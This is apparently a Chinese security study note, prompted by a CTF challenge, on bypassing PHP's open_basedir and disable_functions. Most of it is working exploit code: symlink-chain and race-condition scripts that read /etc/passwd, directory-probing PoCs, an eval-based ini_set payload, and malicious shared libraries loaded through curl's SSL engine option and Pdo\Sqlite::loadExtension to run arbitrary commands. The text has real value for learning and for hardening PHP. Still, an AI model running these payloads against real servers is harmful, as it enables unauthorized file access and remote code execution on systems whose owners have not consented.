之前都是蚁剑一把梭,但是2024春秋杯冬季赛的bookshelf出现了不能一把梭的情况,需要手动绕,因此过来学习一下。

参考文章:

https://xz.aliyun.com/t/10070?time__1311=Cqjx2DRQDQuDl6zIx7Ix%2BD0E8QD8SIeD#toc-0

open_basedir

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。
在
php.ini中设置open_basedir的值

设置open_basedir=/var/www/html/,通过web访问服务器的用户就无法获取服务器上除了/var/www/html/这个目录以外的文件。

假设这时连接一个webshell,当webshell工具尝试遍历和读取其他目录时将会失败。


通过系统命令函数

open_basedir对命令执行函数没有限,使用system()函数试一下

能够遍历上上级目录,而在webshell工具中时被禁止的,说明确实能够绕过

发现这里可以直接tac /flag,系统命令没有限制!

实际情况中,可能system()函数由于disable_function禁用无法使用,可通过同类执行命令函数绕过。

利用glob://绕过

利用 DirectoryIterator+glob://

DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。
脚本如下:

<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>

有点奇怪,显示不出来根目录下的文件,最多只能显示上一层,有点奇怪?莫非是php版本原因?我是php8

利用 opendir()+readdir()+glob://

opendir作用为打开目录句柄

readdir作用为从目录句柄中读取目录

脚本如下

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

只能列目录,php7可以用如下方法读非根目录文件,glob:///*/www/../* 可列举 /var

但是我的php8不可以。。。我的也只能通过glob://..//*来列举上一层目录的内容。

​

利用 scandir()+glob://

scandir()函数可以列出指定路径中的文件和目录

以下为1=var_dump(scandir('.'));

但是1=var_dump(scandir('glob:///*')); 感觉也是php版本的原因



利用symlink绕过

symlink()函数创建一个从指定名称连接的现存目标文件开始的符号连接。

symlink(string $target, string $link): bool

symlink()对于已有的 target 建立一个名为 link 的符号连接。
而target一般情况下受限于open_basedir。感觉这种符号连接是类似于软链接的。

官方的domo:

<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
# 将会输出'uploads.php'这个字符串
?>

如果将要读取/etc/passwdpoc如下

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","SD");
symlink("SD/../../../../etc/passwd","POC");
unlink("SD");
mkdir("SD");
?>

分析一下poc过程:

  1. 创建A/B/C/D目录,并返回到起始目录
  2. symlink("A/B/C/D","SD"):创建符号文件SD,指向A/B/C/D
  3. symlink("SD/../../../../etc/passwd","POC"):创建符号文件POC,指向SD/../../../../etc/passwd。此时SD=A/B/C/D,而A/B/C/D../../../../=/var/www/html,符合open_basedir的限制,创建成功。
  4. unlink("SD"):删除软链接SD,并创建一个文件夹,此时SD作为一个真正的目录存在。那么访问POC,指向的是SD/../../../../etc/passwd,SD/../../../就是/var目录,/var/../etc/passwd恰好可以读取到etc目录下的passwd,从而达到跨目录访问的效果。

这里需要跨几层目录就需要创建几层目录。

最后附上p牛EXP

<?php
/* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

利用bindtextdomain和SplFileInfo方法

bindtextdomain设置或获取域名的路径,函数原型为:

bindtextdomain(string $domain, ?string $directory): string|false

利用原理是基于报错:bindtextdomain()函数的第二个参数$directory是一个文件路径,它会在$directory存在的时候返回$directory,不存在则返回false。
SplFileInfo函数类似。
poc

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>

如果成功访问到存在的文件是会返回该文件路径:

而如果访问到不存在的文件就会返回false

这个方法感觉非常鸡肋,用起来比较恶心,最好与其他方法组合使用。


利用SplFileInfo::getRealPath()方法

(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileInfo类为单个文件的信息提供了一个高级的面向对象的接口。
而其中
getRealPath()用于获取文件的绝对路径。bypass原理同样是基于报错,该方法在获取文件路径的时候,如果存入一个不存在的路径时,会返回false,否则返回绝对路径,而且他还直接忽略了open_basedir的设定。

脚本如下

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
$basedir = 'D:/CSGO/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
    $info = new SplFileInfo($basedir . $chars[$i] . '<<');
    $re = $info->getRealPath();
    if ($re) {
        echo $re."<br>";
    }
}

​

利用realpath列目录

环境要求:Windows

realpath()返回规范化的绝对路径名,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。

realpath(string $path): string|false

bypass原理:
与上面说到的两种方式类似。在开启了open_basedir的情况下,如果我们传入一个不存在的文件名,会返回false,但是如果我们传入一个不在open_basedir里的文件的话,他就会返回
file is not within the allowed path(s),有点像盲注,基于报错来判断文件名。

脚本入下:

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'D:/5E/5EClient/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
        $file = $dir . $chars[$i] . '<><';
        realpath($file);
}
function isexists($errno, $errstr)
{
        $regexp = '/File\((.*)\) is not within/';
        preg_match($regexp, $errstr, $matches);
        if (isset($matches[1])) {
                printf("%s <br/>", $matches[1]);
        }
}
?>


利用chdir与ini_set

chdir将工作目录切换到指定的目录,函数原型为

chdir(string $directory): bool

ini_seti用来设置php.ini的值,无需打开php.ini文件,就能修改配置。函数原型为:

ini_set(string $option, string $value): string|false

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

bypass原理大概open_basedir设计逻辑的安全问题

一个小demo,将该文件放到网站目录下:

<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

构造payload

mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));


使用curl

<?php
highlight_file(__FILE__);
@eval($_POST['so_ez!k1ddi&g?']);

绕disable_function和open_basedir

proc_open,pcntl_waitpid,pcntl_wait,dl,ini_restore,mb_send_mail,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,pcntl_alarm,pcntl_sigtimedwait,ini_set

全禁完了。

其实在 php8.3里有一个issue,提到可以用 curl 绕过 open_basedir

open_basedir bypass using curl extension · Issue #16802 · php/php-src

其实就是php官方对于curl只禁用了file协议,但是其实可以用参数all开启所有协议,因此依然可以读取文件:

$ch = curl_init("file:///etc/passwd");curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");curl_exec($ch);

commit如下:

Fix GH-16802: open_basedir bypass using curl extension · php/php-src@179ca2b · GitHub

all也上了ban位,所以php8.5就打不通了。

我们先尝试一下低版本的:

其实curl加载动态链接库就能RCE:https://hackerone.com/reports/3293801

我们将恶意so文件上传后curl即可,这里给出payload:

#include <stdlib.h>

__attribute__ ((constructor))
static void rce_init(void){
    system("whoami");
}
g++ -fPIC -shared -o evil.so 1.cpp

然后加载so即可实现RCE

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE,"/tmp/evil.so");
$data = curl_exec($ch);

php8.5修了。

XCTF中使用sqlite3来加载so文件实现RCE。https://baozongwi.xyz/p/9th-xctf-final/#kindingrevenge

SQLite3::loadExtension:PHP: SQLite3::loadExtension - Manual

虽然SQLite3::loadExtension可以加载库,但是必须位于sqlite3.extension_dir中的指定目录,不是我们可控的。所以我们需要寻找其它的利用点。

但 Pdo\Sqlite : loadExtension 也存在可以加载库的方法,文档里似乎没有写配置限制,并且这个方法非常的新,php 8.40以上才有:PHP: Pdo\Sqlite::loadExtension - Manual

所以我们可以构造一个so文件,然后用Pdo\Sqlite::loadExtension来加载,从而执行命令。

disable_functions 是 PHP 的配置项,只能用来禁止 PHP 语言层面的内建函数。阻止的是 PHP 解释器执行这些函数。这里相当于用进程空间的 C 层面直接调用了 system() (libc 的 system ),所以显然是拦截不了我们的。

#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

SQLITE_EXTENSION_INIT1

#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_extension_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);

    const char *command_file = "/tmp/command.txt";
    char command[512] = {0};
    FILE *fp;

    // 尝试从文件读取命令
    fp = fopen(command_file, "r");
    if (fp != NULL) {
        if (fgets(command, sizeof(command), fp) != NULL) {
            // 移除换行符
            command[strcspn(command, "\r\n")] = 0;
            if (strlen(command) > 0) {
                system(command);
            }
        }
        fclose(fp);
    }
    
    return SQLITE_OK;
}
gcc -c -fPIC kinging.c -o kinging
gcc -shared kinging -o kinging.so

然后接下来我们尝试写入so文件。

$base64_so="so文件内容";file_put_contents("/tmp/1.so",base64_decode($base64_so));

我们进入docker环境发现多了一个so文件

然后我们加载so文件,实现RCE

file_put_contents("/tmp/command.txt","whoami > /tmp/meteorkai.txt");
$db = new Pdo\Sqlite('sqlite::memory:');
$db -> setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$db -> loadExtension('/tmp/1.so');
echo file_get_contents("/tmp/meteorkai.txt");

实现RCE!

​

getcwd()失败竞态条件

open_basedir bypass via getcwd() failure and race condition · Issue #21961 · php/php-src

影响版本:

利用条件:

  1. open_basedir已配置,目标PHP环境通过php.ini或vhost设置了open_basedir限制
  2. 可执行任意PHP代码
  3. pcntl_fock()可用,需要pcntl拓展来创建子进程实施竞态(CLI模式默认加载该拓展)
  4. Linux系统,MAXPATHLEN=4096;macOS上为1024,需调整目录深度参数
  5. 可写目录,需要在open_basedir允许的路径内拥有写权限以创建深度目录结构

环境如下:

# 基础镜像:PHP 8.3 CLI(需要 pcntl 扩展)
FROM php:8.3-cli

# 安装 pcntl 扩展(必须,否则 pcntl_fork() 不可用)
RUN docker-php-ext-install pcntl

# 设置工作目录
WORKDIR /app

# 复制自定义 PHP 配置文件到容器
COPY config/open-basedir.ini /usr/local/etc/php/conf.d/open-basedir.ini

# 复制测试用的 PHP 脚本到容器
COPY src/ /app/

# 创建 tmp 目录用于测试
RUN mkdir -p /tmp/www && chmod 777 /tmp

# 设置默认执行的命令(注意:路径要匹配挂载点)
CMD ["php", "/poc.php"]

exp:

<?php

chdir("/tmp");
@mkdir("poc/");
chdir("poc/");

echo "original basedir: " . ini_get("open_basedir") . "\n\n";

$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);
@mkdir($magic_depth, 0755, true);

chdir($magic_depth);
$pid = pcntl_fork();

if ($pid == -1) die;
if ($pid == 0) {#子进程
    for ($i = 0; $i < 20; $i++) {
        $cur_basedir = ini_get("open_basedir");
        ini_set("open_basedir", $cur_basedir . ":../");
    }

    chdir("/tmp");
    chdir("../");

    $passwd = @file_get_contents("etc/passwd");
    if (!$passwd)
        die("failed\n");

    echo "content of /etc/passwd: \n";
    echo $passwd;
    echo "\n";
} else {#父进程
    chdir("/tmp"); //go back to original dir
    for ($i = 0; $i < 3000; $i++) {
        rename("poc", str_repeat("x", 250));
        rename(str_repeat("x", 250), "poc");
    }
}

结果如下:

ZEND_INI_MH(OnUpdateBaseDir) 允许在运行时对 open_basedir 进行窄化,但不能宽化。它是通过展开传递给 ini_set('open_basedir', 'path1:path2') 的字符串中的每个路径,并验证每个路径都是现有 open_basedir 路径之一的子路径来实现的。

expand_filepath() 通过调用 VCWD_GETCWD() 获取当前工作目录(cwd),并以此为基础来解析相对路径(当 relative_to 参数为 NULL 时)。VCWD_GETCWD() 在某些边缘情况下可能会失败并返回 NULL,最常见的情况是当前工作目录的长度超过了由 MAXPATHLEN(在 Linux 上为 4096)指定的缓冲区大小。

当 VCWD_GETCWD() 返回 NULL 时,expand_filepath_with_mode() 有一个回退机制:它会尝试使用 VCWD_OPEN() 直接打开相对路径的文件,让操作系统来解析路径。

        if (!result && (iam != filepath)) {
            int fdtest = -1;

            fdtest = VCWD_OPEN(filepath, O_RDONLY);
            if (fdtest != -1) {
                /* return a relative file path if for any reason
                 * we cannot getcwd() and the requested,
                 * relatively referenced file is accessible */
                copy_len = path_len > MAXPATHLEN - 1 ? MAXPATHLEN - 1 : path_len;
                if (real_path) {
                    memcpy(real_path, filepath, copy_len);
                    real_path[copy_len] = '\0';
                } else {
                    real_path = estrndup(filepath, copy_len);
                }
                close(fdtest);
                return real_path;
            } else {
                cwd[0] = '\0';
            }
        } else if (!result) {
            cwd[0] = '\0';
        }

这之所以糟糕,有两个原因:
1. 当此操作成功时,VCWD_GETCWD() 返回的是未解析的路径(unresolved path)。

2. 真实的 cwd 不一定与 VCWD_GETCWD() 返回的值相同。VCWD_GETCWD() 处理的是 ZTS(Zend 线程安全)环境下的 cwd,此时我们需要的是线程特定的 cwd,而不是每个进程共享一个 cwd。因此,即使查找成功,我们也可能找错文件。

现在,这两个独立的检查机制允许通过条件竞争来绕过 open_basedir(我们之所以不认为这是一个安全问题,是因为 open_basedir 本就不是一个安全设置)。另一个进程可以通过重命名某个文件夹来拉长当前进程的当前工作目录(cwd)路径,使得 VCWD_GETCWD() 操作因路径长度超过 MAXPATHLEN 而失败;然后再将文件夹名改回原状,使得 VCWD_OPEN() 操作成功。当将 ../ 添加到 open_basedir 路径中时,expand_filepath() 会返回未改变的路径 ../。如果我们当前正位于 open_basedir 路径中某个子文件夹内,这个 ../ 也能通过 open_basedir 的检查。

然后我们来分析一下exp:

$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);
@mkdir($magic_depth, 0755, true);

chdir($magic_depth);

⼦进程的⼯作⽬录路径变为 /tmp/poc/aaa...a/aaa...a/.../aaa...a (约 4000+ 字节)。

第二步:竞态触发getcwd()失败

    chdir("/tmp"); //go back to original dir
    for ($i = 0; $i < 3000; $i++) {
        rename("poc", str_repeat("x", 250));
        rename(str_repeat("x", 250), "poc");
    }

当⽬录名从 poc (3 字节)被改为 xxx...x (250 字节)时:
⼦进程的实际⼯作⽬录路径变为约 4247 字节,超过 MAXPATHLEN(4096),此时⼦进程调⽤ VCWD_GETCWD() → 缓冲区不够 → 返回 NULL。然后就会进入到后续的VCWD_OPEN部分。

VCWD_GETCWD() 失败后,函数没有报错返回,⽽是尝试⽤ VCWD_OPEN() 直接打开⽂件
此时父进程已经把目录名改为poc,工作目录路径又变正常了,VCWD_OPEN("../")成功。
函数返回了未经解析的相对路径 "../"

expand_filepath("../", resolved_name); // resolved_name = "../"

php_check_open_basedir_ex("../", 0); // "../" 被判定为当前⽬录的⼦路径 → 检查通过!